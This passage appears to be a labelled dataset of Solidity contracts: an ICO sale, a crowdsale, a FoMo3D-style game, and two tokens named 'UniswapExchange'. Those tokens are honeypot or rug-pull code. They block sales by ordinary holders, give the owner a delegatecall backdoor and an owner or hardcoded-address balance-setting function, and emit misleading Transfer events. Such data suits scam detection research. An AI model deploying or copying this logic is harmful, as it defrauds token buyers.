mint(address(0xbb3465742ca0b93eea8ca9362f2c4bb6240bf942),1000*10**18);
_startTime = block.timestamp ;
owner = msg.sender;
}
function GetMaxEther() returns(uint256){
return (MaxSupply.sub(totalSupply)).div(10000);
}
function IsICOOver() public constant returns(bool){
if(mintingFinished){
return true;
}
return false;
}
function IsICONotStarted() public constant returns(bool){
if(block.timestamp<_startTime){
return true;
}
return false;
}
function () public payable{
if(IsICOOver() || IsICONotStarted()){
revert();
}
else{
if(GetMaxEther()>msg.value){
mint(msg.sender,msg.value*10000);
owner.transfer(msg.value);
}
else{
mint(msg.sender,GetMaxEther()*10000);
owner.transfer(GetMaxEther());
finishMinting();
}
}
}
} | 1 | 3,655 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 356 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,162 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 3,915 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x1c02868ca92fda9caec622142ff7dee72cfa2f26);
address public admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 public rndExtra_ = 30 minutes;
uint256 public rndGap_ = 30 minutes;
uint256 constant public rndInit_ = 30 minutes;
uint256 constant public rndInc_ = 10 seconds;
uint256 constant public rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
